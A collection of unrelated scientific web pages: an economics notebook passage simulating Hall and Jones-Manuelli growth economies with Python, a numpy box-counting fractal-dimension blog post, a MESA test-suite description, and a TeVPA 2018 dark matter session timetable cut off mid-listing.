g_t\}_{t=0}^\infty$ to maximize $$-\frac{1}{2}\mathbb{E}\sum_{t=0}^\infty \beta^t [(s_t-b_t)\cdot(s_t - b_t) + g_t \cdot g_t]$$ subject to the linear constraints $$\Phi_c c_t + \Phi_g g_t + \Phi_i i_t = \Gamma k_{t-1} + d_t$$$$k_t = \Delta_k k_{t-1} + \Theta_k i_t$$$$h_t = \Delta_h h_{t-1} + \Theta_h c_t$$$$s_t = \Lambda h_{t-1} + \Pi c_t$$ and $$z_{t+1} = A_{22}z_t + C_2w_{t+1}$$$$b_t = U_bz_t$$$$d_t = U_dz_t$$ The DLE class in Python maps this planning problem into a linear-quadratic dynamic programming problem and then solves it by using QuantEcon’s LQ class. (See Section 5.5 of Hansen & Sargent (2013) [HS13] for a full description of how to map these economies into an LQ setting, and how to use the solution to the LQ problem to construct the output matrices in order to simulate the economies) The state for the LQ problem is $$x_t = \left[ {\begin{array}{c} h_{t-1} \\ k_{t-1} \\ z_t \end{array} } \right]$$ and the control variable is $u_t = i_t$. Once the LQ problem has been solved, the law of motion for the state is $$x_{t+1} = (A-BF)x_t + Cw_{t+1}$$ where the optimal control law is $u_t = -Fx_t$. Letting $A^o = A-BF$ we write this law of motion as $$x_{t+1} = A^ox_t + Cw_{t+1}$$ ## Example Economies¶ Each of the example economies shown here will share a number of components. In particular, for each we will consider preferences of the form $$- \frac{1}{2}\mathbb{E}\sum_{t=0}^\infty \beta^t [(s_t-b_t)^2 + l_t^2], 0 < \beta < 1$$$$s_t = \lambda h_{t-1} + \pi c_t$$$$h_t = \delta_h h_{t-1} + \theta_h c_t$$$$b_t = U_bz_t$$ Technology of the form $$c_t + i_t = \gamma_1 k_{t-1} + d_{1t}$$$$k_t = \delta_k k_{t-1} + i_t$$$$g_t = \phi_1 i_t \, , \phi_1 > 0$$$$\left[ {\begin{array}{c} d_{1t} \\ 0 \end{array} } \right] = U_dz_t$$ And information of the form $$z_{t+1} = \left[ {\begin{array}{ccc} 1 & 0 & 0 \\ 0 & 0.8 & 0 \\ 0 & 0 & 0.5 \end{array} } \right] z_t + \left[ {\begin{array}{cc} 0 & 0 \\ 1 & 0 \\ 0 & 1 \end{array} } \right] w_{t+1}$$$$U_b = \left[ {\begin{array}{ccc} 30 & 0 & 0 \end{array} } \right]$$$$U_d = \left[ {\begin{array}{ccc} 5 & 1 & 0 \\ 0 & 0 & 0 \end{array} } \right]$$ We shall vary $\{\lambda, \pi, \delta_h, \theta_h, \gamma_1, \delta_k, \phi_1\}$ and the initial state $x_0$ across the three economies. ### Example 1: Hall (1978)¶ First, we set parameters such that consumption follows a random walk. In particular, we set $$\lambda = 0, \pi = 1, \gamma_1 = 0.1, \phi_1 = 0.00001, \delta_k = 0.95, \beta = \frac{1}{1.05}$$ (In this economy $\delta_h$ and $\theta_h$ are arbitrary as household capital does not enter the equation for consumption services We set them to values that will become useful in Example 3) It is worth noting that this choice of parameter values ensures that $\beta(\gamma_1 + \delta_k) = 1$. For simulations of this economy, we choose an initial condition of $$x_0 = \left[ {\begin{array}{ccccc} 5 & 150 & 1 & 0 & 0 \end{array} } \right]'$$ In [ ]: # Parameter Matrices γ_1 = 0.1 ϕ_1 = 1e-5 ϕ_c, ϕ_g, ϕ_i, γ, δ_k, θ_k = (np.array([[1], [0]]), np.array([[0], [1]]), np.array([[1], [-ϕ_1]]), np.array([[γ_1], [0]]), np.array([[.95]]), np.array([[1]])) β, l_λ, π_h, δ_h, θ_h = (np.array([[1 / 1.05]]), np.array([[0]]), np.array([[1]]), np.array([[.9]]), np.array([[1]]) - np.array([[.9]])) a22, c2, ub, ud = (np.array([[1, 0, 0], [0, 0.8, 0], [0, 0, 0.5]]), np.array([[0, 0], [1, 0], [0, 1]]), np.array([[30, 0, 0]]), np.array([[5, 1, 0], [0, 0, 0]])) # Initial condition x0 = np.array([[5], [150], [1], [0], [0]]) info1 = (a22, c2, ub, ud) tech1 = (ϕ_c, ϕ_g, ϕ_i, γ, δ_k, θ_k) pref1 = (β, l_λ, π_h, δ_h, θ_h) These parameter values are used to define an economy of the DLE class. In [ ]: econ1 = DLE(info1, tech1, pref1) We can then simulate the economy for a chosen length of time, from our initial state vector $x_0$ In [ ]: econ1.compute_sequence(x0, ts_length=300) The economy stores the simulated values for each variable. Below we plot consumption and investment In [ ]: # This is the right panel of Fig 5.7.1 from p.105 of HS2013 plt.plot(econ1.c[0], label='Cons.') plt.plot(econ1.i[0], label='Inv.') plt.legend() plt.show() Inspection of the plot shows that the sample paths of consumption and investment drift in ways that suggest that each has or nearly has a random walk or unit root component. This is confirmed by checking the eigenvalues of $A^o$ In [ ]: econ1.endo, econ1.exo The endogenous eigenvalue that appears to be unity reflects the random walk character of consumption in Hall’s model. • Actually, the largest endogenous eigenvalue is very slightly below 1. • This outcome comes from the small adjustment cost $\phi_1$. In [ ]: econ1.endo[1] The fact that the largest endogenous eigenvalue is strictly less than unity in modulus means that it is possible to compute the non-stochastic steady state of consumption, investment and capital. In [ ]: econ1.compute_steadystate() np.set_printoptions(precision=3, suppress=True) print(econ1.css, econ1.iss, econ1.kss) However, the near-unity endogenous eigenvalue means that these steady state values are of little relevance. ### Example 2: Altered Growth Condition¶ We generate our next economy by making two alterations to the parameters of Example 1. • First, we raise $\phi_1$ from 0.00001 to 1. • This will lower the endogenous eigenvalue that is close to 1, causing the economy to head more quickly to the vicinity of its non-stochastic steady-state. • Second, we raise $\gamma_1$ from 0.1 to 0.15. • This has the effect of raising the optimal steady-state value of capital. We also start the economy off from an initial condition with a lower capital stock $$x_0 = \left[ {\begin{array}{ccccc} 5 & 20 & 1 & 0 & 0 \end{array} } \right]'$$ Therefore, we need to define the following new parameters In [ ]: γ2 = 0.15 γ22 = np.array([[γ2], [0]]) ϕ_12 = 1 ϕ_i2 = np.array([[1], [-ϕ_12]]) tech2 = (ϕ_c, ϕ_g, ϕ_i2, γ22, δ_k, θ_k) x02 = np.array([[5], [20], [1], [0], [0]]) Creating the DLE class and then simulating gives the following plot for consumption and investment In [ ]: econ2 = DLE(info1, tech2, pref1) econ2.compute_sequence(x02, ts_length=300) plt.plot(econ2.c[0], label='Cons.') plt.plot(econ2.i[0], label='Inv.') plt.legend() plt.show() Simulating our new economy shows that consumption grows quickly in the early stages of the sample. However, it then settles down around the new non-stochastic steady-state level of consumption of 17.5, which we find as follows In [ ]: econ2.compute_steadystate() print(econ2.css, econ2.iss, econ2.kss) The economy converges faster to this level than in Example 1 because the largest endogenous eigenvalue of $A^o$ is now significantly lower than 1. In [ ]: econ2.endo, econ2.exo ### Example 3: A Jones-Manuelli (1990) Economy¶ For our third economy, we choose parameter values with the aim of generating sustained growth in consumption, investment and capital. To do this, we set parameters so that Jones and Manuelli’s “growth condition” is just satisfied. In our notation, just satisfying the growth condition is actually equivalent to setting $\beta(\gamma_1 + \delta_k) = 1$, the condition that was necessary for consumption to be a random walk in Hall’s model. Thus, we lower $\gamma_1$ back to 0.1. In our model, this is a necessary but not sufficient condition for growth. To generate growth we set preference parameters to reflect habit persistence. In particular, we set $\lambda = -1$, $\delta_h = 0.9$ and $\theta_h = 1 - \delta_h = 0.1$. This makes preferences assume the form $$- \frac{1}{2}\mathbb{E}\sum_{t=0}^\infty \beta^t [(c_t-b_t - (1-\delta_h)\sum_{j=0}^\infty \delta_h^jc_{t-j-1})^2 + l_t^2]$$ These preferences reflect habit persistence • the effective “bliss point” $b_t + (1-\delta_h)\sum_{j=0}^\infty \delta_h^jc_{t-j-1}$ now shifts in response to a moving average of past consumption Since $\delta_h$ and $\theta_h$ were defined earlier, the only change we need to make from the parameters of Example 1 is to define the new value of $\lambda$. In [ ]: l_λ2 = np.array([[-1]]) pref2 = (β, l_λ2, π_h, δ_h, θ_h) In [ ]: econ3 = DLE(info1, tech1, pref2) We simulate this economy from the original state vector In [ ]: econ3.compute_sequence(x0, ts_length=300) # This is the right panel of Fig 5.10.1 from p.110 of HS2013 plt.plot(econ3.c[0], label='Cons.') plt.plot(econ3.i[0], label='Inv.') plt.legend() plt.show() Thus, adding habit persistence to the Hall model of Example 1 is enough to generate sustained growth in our economy. The eigenvalues of $A^o$ in this new economy are In [ ]: econ3.endo, econ3.exo We now have two unit endogenous eigenvalues. One stems from satisfying the growth condition (as in Example 1). The other unit eigenvalue results from setting $\lambda = -1$. To show the importance of both of these for generating growth, we consider the following experiments. ### Example 3.1: Varying Sensitivity¶ Next we raise $\lambda$ to -0.7 In [ ]: l_λ3 = np.array([[-0.7]]) pref3 = (β, l_λ3, π_h, δ_h, θ_h) econ4 = DLE(info1, tech1, pref3) econ4.compute_sequence(x0, ts_length=300) plt.plot(econ4.c[0], label='Cons.') plt.plot(econ4.i[0], label='Inv.') plt.legend() plt.show() We no longer achieve sustained growth if $\lambda$ is raised from -1 to -0.7. This is related to the fact that one of the endogenous eigenvalues is now less than 1. In [ ]: econ4.endo, econ4.exo ### Example 3.2: More Impatience¶ Next let’s lower $\beta$ to 0.94 In [ ]: β_2 = np.array([[0.94]]) pref4 = (β_2, l_λ, π_h, δ_h, θ_h) econ5 = DLE(info1, tech1, pref4) econ5.compute_sequence(x0, ts_length=300) plt.plot(econ5.c[0], label='Cons.') plt.plot(econ5.i[0], label='Inv.') plt.legend() plt.show() Growth also fails if we lower $\beta$, since we now have $\beta(\gamma_1 + \delta_k) < 1$. Consumption and investment explode downwards, as a lower value of $\beta$ causes the representative consumer to front-load consumption. This explosive path shows up in the second endogenous eigenvalue now being larger than one. In [ ]: econ5.endo, econ5.exo
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https://francescoturci.net/2016/03/31/box-counting-in-numpy/
# Box Counting in Numpy The fractal dimension of an object is a single scalar number that allows us to quantify how compact an object is , i.e. how wiggly a curve is, how wrinkled a surface is, how porous a complex volume is. However, estimating the fractal dimension of an object is not an easy task, and many methods exist. The simplest method is box counting: the idea is to fully cover the object with many boxes of a given size, count how many boxes are needed to cover the object and repeat the process for many box sizes. The scaling of the number of boxes covering the object with the size of the boxes gives an estimate for the fractal dimension of the object. The algorithm has many limitations, but in its simplest form it can be easily implemented in Python. The idea is to simply bin the object in a histogram of variable bin sizes. This can be easily generalised to any dimensions, thanks to Numpy’s histrogramdd  function. In the following code, I test the idea with a known fractal, Sierpinski’s triangle, which has an exact (Hausdorff) fractal dimension of log(3)/log(2). import numpy as np import pylab as pl def rgb2gray(rgb): r, g, b = rgb[:,:,0], rgb[:,:,1], rgb[:,:,2] gray = 0.2989 * r + 0.5870 * g + 0.1140 * b return gray # finding all the non-zero pixels pixels=[] for i in range(image.shape[0]): for j in range(image.shape[1]): if image[i,j]>0: pixels.append((i,j)) Lx=image.shape[1] Ly=image.shape[0] print (Lx, Ly) pixels=pl.array(pixels) print (pixels.shape) # computing the fractal dimension #considering only scales in a logarithmic list scales=np.logspace(0.01, 1, num=10, endpoint=False, base=2) Ns=[] # looping over several scales for scale in scales: print ("======= Scale :",scale) # computing the histogram H, edges=np.histogramdd(pixels, bins=(np.arange(0,Lx,scale),np.arange(0,Ly,scale))) Ns.append(np.sum(H>0)) # linear fit, polynomial of degree 1 coeffs=np.polyfit(np.log(scales), np.log(Ns), 1) pl.plot(np.log(scales),np.log(Ns), 'o', mfc='none') pl.plot(np.log(scales), np.polyval(coeffs,np.log(scales))) pl.xlabel('log $\epsilon$') pl.ylabel('log N') pl.savefig('sierpinski_dimension.pdf') print ("The Hausdorff dimension is", -coeffs[0]) #the fractal dimension is the OPPOSITE of the fitting coefficient np.savetxt("scaling.txt", list(zip(scales,Ns)))
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https://docs.mesastar.org/en/release-r22.11.1/test_suite/fast_scan_grid.html
# fast_scan_grid¶ Runs first few steps of a grid search for some synthetic data. This test exists only to increase test coverage of the routines involved in a grid search (some of which is used by other optimisation routines). It should not be the basis of any scientific runs. The tolerances are all very loose to make each iteration fast enough that the test completes within a few minutes. The data is taken from the output of a 1 $${\rm M}_\odot$$ model at an age around 1 Gyr. The output in effect only checks that at least one set of trial parameters returned a value of $$\chi^2$$. There are two main failure modes. First, failure might benignly indicate that the initial parameters have strayed too far from the synthetic constraints to produce any output, in which case the initial guesses or target data should be adjusted. Second, failure might indicate that the grid search optimisation is genuinely broken and needs fixing. Last-Update: 2022-03-29 (mesa 998d243) by Warrick Ball
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https://indico.desy.de/indico/event/18204/session/12/?contribId=20
# TeVPA 2018 27-31 August 2018 LVH, Luisenstraße 58, 10117 Berlin Europe/Berlin timezone Home > Timetable > Session details PDF | iCal # Dark Matter ## Place Location: LVH, Luisenstraße 58, 10117 Berlin Address: LANGENBECK VIRCHOW HAUS Luisenstraße 58, 10117 Berlin Date: from 27 Aug 14:00 to 31 Aug 15:45 ## Description Chair 1: Louise Oakes | Chair 2: Nathan Kelley-Hoskins | Chair 3: Klaus Eitel | Chair 4: Dan Hooper | Chair 5: Daniele Gaggero | Chair 6: Michele Doro | Chair 7: Mónica Vázquez-Acosta ## Conveners • 27 Aug 14:00 - 3:45 PM 1 • Prof. Schumann, Marc (Univertity of Freiburg) • Dr. Sánchez-Conde, Miguel (IFT UAM/CSIC) • Oakes, Louise (Humboldt Universität zu Berlin) • 27 Aug 16:15 - 6:00 PM 2 • Prof. Schumann, Marc (Univertity of Freiburg) • Dr. Sánchez-Conde, Miguel (IFT UAM/CSIC) • Oakes, Louise (Humboldt Universität zu Berlin) • 28 Aug 14:00 - 3:45 PM 3 • Prof. Schumann, Marc (Univertity of Freiburg) • Dr. Sánchez-Conde, Miguel (IFT UAM/CSIC) • Oakes, Louise (Humboldt Universität zu Berlin) • 29 Aug 16:15 - 6:00 PM 4 • Prof. Schumann, Marc (Univertity of Freiburg) • Dr. Sánchez-Conde, Miguel (IFT UAM/CSIC) • Oakes, Louise (Humboldt Universität zu Berlin) • 30 Aug 14:00 - 3:45 PM 5 • Prof. Schumann, Marc (Univertity of Freiburg) • Dr. Sánchez-Conde, Miguel (IFT UAM/CSIC) • Oakes, Louise (Humboldt Universität zu Berlin) • 30 Aug 16:15 - 6:15 PM 6 • Prof. Schumann, Marc (Univertity of Freiburg) • Dr. Sánchez-Conde, Miguel (IFT UAM/CSIC) • Oakes, Louise (Humboldt Universität zu Berlin) • 31 Aug 14:00 - 3:45 PM 7 • Prof. Schumann, Marc (Univertity of Freiburg) • Dr. Sánchez-Conde, Miguel (IFT UAM/CSIC) • Oakes, Louise (Humboldt Universität zu Berlin) ## Timetable | Contribution List Displaying 45 contributions out of 45 Type: Talk Session: Dark Matter Track: Dark Matter The idea that primordial black holes (PBHs) of O(10) solar mass can account for most of the dark matter has been recently reconsidered after the discovery of gravitational waves from binary-black hole merger events. I present a significant update of a robust bound on this scenario based on a conservative modeling of the gas accretion and the subsequent radio and X-ray emission originating by a po ... More Presented by Dr. Daniele GAGGERO on 30/8/2018 at 15:05 Type: Talk Session: Dark Matter Track: Dark Matter The theoretical interpretation of dark matter experiments is hindered by uncertainties of the dark matter density and velocity distribution inside the Solar System. In order to quantify those uncertainties, we present a parameter that characterizes the deviation of the true velocity distribution from the Maxwell-Boltzmann form, and we then determine for different values of this parameter the most ... More Presented by Andreas RAPPELT on 29/8/2018 at 15:00 Type: Talk Session: Dark Matter Track: Dark Matter The discovery of dark matter (DM) at XENONnT or LZ would place constraints on DM particle mass and coupling constants. It is interesting to ask when these constraints can be compatible with thermal production of DM. We address this question within the most general set of renormalizable models that preserve Lorentz and gauge symmetry, and that extend the standard model by one DM candidate of mass $... More Presented by Martin KRAUSS on 28/8/2018 at 13:30 Type: Talk Session: Dark Matter Track: Dark Matter Installed on the ISS in August 2015 and taking data since October of that year, CALET (CALorimetric Electron Telescope) is directly measuring the electron+positron cosmic-ray spectrum up into the TeV-region with fine energy resolution and good proton rejection. The latest published total electron+positron spectrum is analyzed for Dark Matter signatures. Limits on annihilation and decay of Dark Mat ... More Presented by Dr. Holger MOTZ on 30/8/2018 at 15:35 Type: Talk Session: Dark Matter Track: Dark Matter There is a substantial effort in the physics community to search for dark matter interactions with the Standard Model of particle physics. Collisions between dark matter particles and baryons exchange heat and momentum in the early Universe, enabling a search for dark matter interactions using cosmological observations in a parameter space that is highly complementary to that of direct detection. ... More Presented by Dr. Kimberly BODDY on 27/8/2018 at 15:30 Type: Talk Session: Dark Matter Track: Dark Matter The sub-GeV mass region of the dark matter is foreseeably to be explored intensively in the next generation of direct detection experiments. Essig and others [1] recently discussed the feasibility of detecting the dark-matter electron recoil using low-noise semiconductor detectors as the active target. With a readout noise level below one electron RMS, the sensitivity allows us to test several the ... More Presented by Prof. Jochen SCHIECK on 28/8/2018 at 13:15 Type: Talk Session: Dark Matter Track: Dark Matter Recently, the DAMA/LIBRA collaboration released updated results from their search for the annual modulation signal from Dark Matter scattering in the detector. Besides approximately doubling the exposure of the DAMA/LIBRA data set, the updated photomultiplier tubes of the experiment allow to lower the recoil energy threshold to 1 keV electron equivalent from the previous threshold of 2 keV electro ... More Presented by Sebastian BAUM on 28/8/2018 at 12:20 Type: Talk Session: Dark Matter Track: Dark Matter Observations of high-energy gamma rays are one of the most promising tools to constrain or reveal the nature of dark matter. During the remarkable ten years of the Fermi satellite mission, the data from its Large Area Telescope (LAT) were used to set constraints on the dark matter cross section to various particle channels which cut well into the theoretically motivated region of the parameter spa ... More Presented by Gabrijela ZAHARIJAS on 31/8/2018 at 12:00 Type: Talk Session: Dark Matter Track: Dark Matter Indirect searches for dark matter with the ground-based MAGIC telescopes will be reviewed. Different targets with a large expected dark matter content, such as galaxy clusters and dwarf satellite galaxies, allow to constrain dark-matter annihilation/decay processes up to the TeV mass scale. Latest results from deep observations of the galaxy cluster Perseus and the dwarf spheroidal Ursa Major II w ... More Presented by Dr. Monica VAZQUEZ ACOSTA on 27/8/2018 at 12:00 Type: Talk Session: Dark Matter Track: Dark Matter LUX-ZEPLIN (LZ) is a second-generation dark matter experiment currently under construction. It will follow LUX in the 1480-m deep Sanford Underground Research Facility in South Dakota, with a projected sensitivity for the spin-independent cross section of$1.6\times10^{-48}~$cm$^{2}$for a 40 GeV/c$^2$mass Weakly Interacting Massive Particle (WIMP) after 1000 live-days exposure of a 5.6-tonne fid ... More Presented by Dr. Alfredo TOMAS ALQUEZAR on 29/8/2018 at 15:15 Type: Talk Session: Dark Matter Track: Dark Matter We present a radically new version of the widely used DarkSUSY package, which allows to compute the properties of dark matter particles numerically. With DarkSUSY 6 one can accurately predict a large variety of astrophysical signals from dark matter, such as direct detection in low-background counting experiments and indirect detection through antiprotons, antideuterons, gamma-rays and positrons f ... More Presented by Prof. Torsten BRINGMANN on 29/8/2018 at 15:45 Type: Talk Session: Dark Matter Track: Dark Matter The GAPS experiment is designed to carry out a dark matter search by hunting for low-energy cosmic-ray antideuterons with a novel detection approach. So far not a single cosmic antideuteron has been detected by any experiment, but well-motivated theories beyond the standard model of particle physics contain viable dark matter candidates, which could lead to a significant enhancement of the antideu ... More Presented by Dr. Ralph BIRD on 27/8/2018 at 15:45 Type: Talk Session: Dark Matter Track: Dark Matter We propose a new method to search for axion-like particles (ALPs) based on the gamma-rays produced concomitant with high-energy astrophysical neutrinos. The existence of high-energy neutrinos implies production of gamma-rays in the same sources. Photons can convert into ALPs in the sources' magnetic fields, and will travel as ALPs through extragalactic space. Back-conversion in the Milky Way's mag ... More Presented by Dr. Ranjan LAHA on 27/8/2018 at 14:45 Type: Talk Session: Dark Matter Track: Dark Matter Observations at cosmological and astronomical scales indicate that the majority of matter in our Universe is in the form of non-relativistic and long-lived dark matter. Its observed relic abundance is consistent with the existence of a neutral, massive particle with little or no self-interaction. A dark matter candidate favoured by extensions of the Standard Model is a Weakly Interacting Massive P ... More Presented by Mr. Julien WULF on 28/8/2018 at 12:00 Type: Talk Session: Dark Matter Track: Dark Matter The CRESST-III (Cryogenic Rare Event Search with Superconducting Thermometers) experiment, located in the Gran Sasso underground laboratory (LNGS, Italy), aims at the direct detection of dark matter (DM) particles. Scintillating CaWO$_4$crystals operated as cryogenic detectors at mK temperatures are used as target material for elastic DM-nucleus scattering. The simultaneous measurement of the p ... More Presented by Paolo GORLA on 28/8/2018 at 12:40 Type: Talk Session: Dark Matter Track: Dark Matter A key prediction of the standard cosmological model -- which relies on the assumption that dark matter is cold, i.e. non-relativistic at the epoch of structure formation -- is the existence of a large number of dark matter substructures on sub-galactic scales. This assumption can be tested by studying the perturbations induced by dark matter substructures on cold stellar streams. Here, we study th ... More Presented by Dr. Nilanjan BANIK on 30/8/2018 at 14:35 Type: Talk Session: Dark Matter Track: Dark Matter An anomalous, apparently diffuse, gamma-ray signal not readily attributable to known Galactic sources has been found in Fermi space telescope data covering the central ~10 degrees of the Galaxy. This "Galactic Center Gamma-Ray Excess" (GCE) signal has a spectral peak at ~2 GeV and reaches its maximum intensity at the Galactic Centre (GC) from where it falls off as a radial power law ~r^{-2.4}. Giv ... More Presented by Roland CROCKER on 31/8/2018 at 12:20 Type: Talk Session: Dark Matter Track: Dark Matter I will present a well-motivated dark matter scenario that naturally predicts a strong emission of gravitational waves in the Early Universe. Interplay with Higgs physics as well as the corresponding dark matter phenomenology will be discussed. Presented by Dr. Camilo Alfredo GARCIA CELY on 30/8/2018 at 14:50 Type: Talk Session: Dark Matter Track: Dark Matter TeV photons provide unique tests of fundamental physics phenomena, such as dark matter annihilation and decay. The High Altitude Water Cherenkov (HAWC) Observatory is an extensive air shower array sensitive to gamma rays from 500 GeV - 100 TeV. HAWC is capable of performing indirect dark matter searches in a mass range that is inaccessible to most other experiments. The HAWC wide field-of-view ena ... More Presented by Pat HARDING on 27/8/2018 at 12:40 Type: Talk Session: Dark Matter Track: Dark Matter The Large Underground Xenon (LUX) detector was a dual-phase xenon Time Projection Chamber with an active mass of 250 kg searching for Weakly Interacting Massive Particle (WIMP) dark matter via direct detection. It operated at the Sanford Underground Research Facility (SURF) in Lead, South Dakota from 2012 to 2016. LUX has published three previously world leading limits on the spin-independent cros ... More Presented by M. I. LOPES on 29/8/2018 at 14:45 Type: Talk Session: Dark Matter Track: Dark Matter In this talk, we present the latest results on dark matter searches using the High Energy Stereoscopic System (H.E.S.S.) located in Namibia. Dark matter is searched for looking for high-energy gamma-ray events in the most promising regions of the sky. Dark matter particles could self-annihilate and produce high-energy gamma rays, either as spectral lines or as continous spectrum. The inner region ... More Presented by Dr. Vincent POIREAU on 30/8/2018 at 12:20 Type: Talk Session: Dark Matter Track: Dark Matter The origin and observed abundance of Dark Matter can be explained elegantly by the thermal freeze-out mechanism, leading to a preferred mass range for Dark Matter particles in the ~MeV-TeV region. The GeV-TeV mass range is being explored intensively by a variety of experiments searching for Weakly Interacting Massive Particles. The sub-GeV region, however, in which the masses of the building block ... More Presented by Ruth POETTGEN on 27/8/2018 at 15:15 Type: Talk Session: Dark Matter Track: Dark Matter Dwarf spheroidal galaxies are are exceptionally clean targets for searches for gamma rays from dark matter annihilation. Here, I will discuss a general, model-independent formalism for determining bounds on the production of photons from dark matter annihilation in dwarf spheroidal galaxies. This formalism is applicable to any set of assumptions about dark matter particle physics or astrophysics ... More Presented by Pearl SANDICK on 27/8/2018 at 13:15 Type: Talk Session: Dark Matter Track: Dark Matter We study evolution of dark matter substructures, especially how they lose the mass and change density profile after they fall in gravitational potential of larger host halos. We develop an analytical prescription that models the subhalo mass evolution and calibrate it to results of N-body numerical simulations of various scales from very small (Earth size) to large (galaxies to clusters) halos. We ... More Presented by Shin'ichiro ANDO on 27/8/2018 at 14:15 Type: Talk Session: Dark Matter Track: Dark Matter Direct detection experiments that utilise xenon have proven to be most sensitive for heavy (>5 GeV) dark matter particles. In this talk, I'll explore signals that allow xenon experiments to probe the dark matter - nucleon cross section for dark matter particles down to ~100 MeV. These signals arise from electron or photon emission from the xenon atom after a collision with a light dark matter part ... More Presented by Dr. Christopher MCCABE on 29/8/2018 at 14:30 Type: Talk Session: Dark Matter Track: Dark Matter Using tens of telescopes and cutting-edge design, the Cherenkov Telescope Array (CTA) project will probe high and very high-energy gamma rays with two independent installations in both hemispheres. With 5-20 times more sensitivity, depending on the energy, than current instruments such as MAGIC, HESS and VERITAS, as well as improved energy and angular resolutions, CTA will be an outstanding instru ... More Presented by Dr. Michele DORO on 30/8/2018 at 12:40 Type: Talk Session: Dark Matter Track: Dark Matter A precise knowledge of the local dark matter velocity distribution and its uncertainties is necessary for the correct interpretation of dark matter direct detection data. High resolution hydrodynamical simulations of galaxy formation provide important information on the properties of the dark matter halo, and find that baryons generally make the local dark matter velocity distribution of Milky Way ... More Presented by Nassim BOZORGNIA on 28/8/2018 at 13:00 Type: Talk Session: Dark Matter Track: Dark Matter Revealing the nature of dark matter is one of the most riveting open tasks of modern astronomy and cosmology. To this end, observing and analyzing high-energy gamma-rays provides a promising and highly-effective tool to constrain the properties of dark matter particles. Being currently in its pre-construction phase, the Cherenkov Telescope Array (CTA) will soon observe the high-energy gamma-ray s ... More Presented by Mr. Christopher ECKNER on 30/8/2018 at 13:30 Type: Talk Session: Dark Matter Track: Dark Matter Cosmic rays are one important tool to study dark matter annihilation in our Galaxy. Recently, a possible hint for dark matter annihilation was found in the antiproton spectrum measured by AMS-02. The potential signal is affected by many theoretical and systematic uncertainties making its validation or exclusion a non-trivial task. The most direct but complementary way to test the dark matter inter ... More Presented by Mr. Michael KORSMEIER on 30/8/2018 at 15:50 Type: Talk Session: Dark Matter Track: Dark Matter Cherenkov telescopes such as HESS, VERITAS, and CTA, represent one of the most promising avenues to detect popular dark matter candidates like the wino, higgsino, and minimal dark matter. Yet theoretical predictions for the annihilation rate and spectrum of photons produced in such models is a notoriously difficult multi-scale problem, sensitive to the dark matter mass, electroweak scale, and also ... More Presented by Mr. Nicholas RODD on 27/8/2018 at 13:30 Type: Talk Session: Dark Matter Track: Dark Matter Cold dark matter candidates generically lead to the structuring of matter on scales much smaller than typical galaxies. This clustering translates into a very population of subhalos in galaxies, which induces an enhancement of the average annihilation rate with respect to a smooth-halo assumption. Recent work by van den Bosch et al. showed that the number of these objects that survive tidal intera ... More Presented by Mr. Martin STREF on 27/8/2018 at 14:30 Type: Talk Session: Dark Matter Track: Dark Matter The galactic dwarf spheroidal (dSph) galaxies are the promising targets for the dark matter indirect searches for particle dark matter. To place robust constraints on candidate dark matter particles, understanding the dark matter distribution of these systems is of substantial importance. However, various non-negligible systematic uncertainties complicate the estimate of the J-factors relevant f ... More Presented by Dr. Kohei HAYASHI on 27/8/2018 at 13:00 Type: Talk Session: Dark Matter Track: Dark Matter The Milky Way halo is the brightest source of dark matter annihilation on the sky. Indeed, the potential strength of the Galactic dark matter signal can supersede that expected from dwarf galaxies and galaxy groups even in regions away from the Inner Galaxy. We present the results of a search for dark matter annihilation in the smooth Milky Way halo for$|b| > 20^\circ$and$r < 50^\circ\$ using 41 ... More Presented by Laura CHANG on 30/8/2018 at 13:15 Type: Talk Session: Dark Matter Track: Dark Matter In the context of dark matter (DM) searches, it is crucial to quantify and reduce theoretical uncertainties affecting predictions of observables that depend on the DM velocity distribution, including event rates in direct searches, velocity-dependent annihilation rates, and microlensing event rates for DM compact objects. The well-known Eddington inversion formalism for the self-consistent reconst ... More Presented by Dr. Thomas LACROIX on 29/8/2018 at 15:30 Type: Talk Session: Dark Matter Track: Dark Matter The IceCube Neutrino Observatory at the South Pole is the world's largest neutrino telescope in operation. It instruments a kilometer cube of ice with more than 5000 optical sensors that detect the Cherenkov light emitted by particles produced in neutrino-nucleon interactions. Being sensitive to a wide range of neutrino energies, from a few GeV to PeVs, its physics program is extremely rich. Th ... More Presented by Dr. Carlos DE LOS HEROS on 30/8/2018 at 12:00 Type: Talk Session: Dark Matter Track: Dark Matter High energy γ-ray photons emitted by astrophysical sources are absorbed by pair production with the diffuse extragalactic background light (EBL), which results in a decrease of the transparency of the universe to γ rays. Multiple extensions of the Standard Model predict the existence of axion-like particles (ALPs), a new type of pseudoscalar particles that can couple to photons in the presence o ... More Presented by Mr. Galo GALLARDO ROMERO on 27/8/2018 at 15:00 Type: Talk Session: Dark Matter Track: Dark Matter In this talk, I would like to review how the CMB (in particular its temperature and polarization anisotropies) can be used to perform both direct and indirect detection of DM. Firstly, I will show the great complementarity between underground direct detection experiment and the CMB in looking for direct scattering between dark and baryonic matter. I will then discuss how the CMB challenges the ... More Presented by Dr. Vivian POULIN on 31/8/2018 at 12:40 Type: Poster (A0 portrait) Session: Dark Matter Track: Dark Matter Test Presented by Mr. Maximilian DREYER Type: Talk Session: Dark Matter Track: Dark Matter In the framework of zoom-in cosmological simulations published in Mollitor et al 2015, together with news runs, we compare the phase-space distributions of simulations of Milky Way like Halos with those inferred by the Eddington inversion. This method as presented by Lacroix et al 2018 is able to deduce the phase-space distribution of Dark Matter (DM) at different radii from the mass density d ... More Presented by Mr. Arturo NUNEZ-CASTINEYRA on 30/8/2018 at 14:20 Type: Talk Session: Dark Matter Track: Dark Matter I will review the arguments in favor of either pulsars or annihilating dark matter as the source of the GeV excess observed from the Inner Galaxy. While it is not clear at this time which of these interpretations is correct, I will argue that upcoming observations will likely clarify the situation considerably. Presented by Prof. Dan HOOPER on 31/8/2018 at 13:00 Type: Talk Session: Dark Matter Track: Dark Matter VERITAS is an imaging atmospheric Cherenkov observatory that is sensitive to gamma rays in the energy range between 85 GeV and > 30 TeV. VERITAS observations allow for the study of a wide variety of physics, including energetic environments inside and outside our galaxy, searches for dark matter, and a number of topics in astroparticle physics. We present an update on indirect dark matter searches ... More Presented by Mr. Nathan KELLEY-HOSKINS on 27/8/2018 at 12:20 Type: Talk Session: Dark Matter Track: Dark Matter Recent analyses of the diffuse TeV-PeV neutrino flux highlight a tension between different IceCube data samples that strongly suggests a two-component scenario rather than a single steep power-law. In this talk, I show how such a tension is further strengthened once the latest ANTARES (9-year) and IceCube (6-year) data are combined together. Remarkably, both experiments show an excess in the same ... More Presented by Dr. Marco CHIANESE on 31/8/2018 at 13:15 Type: Talk Session: Dark Matter Track: Dark Matter We perform a search of 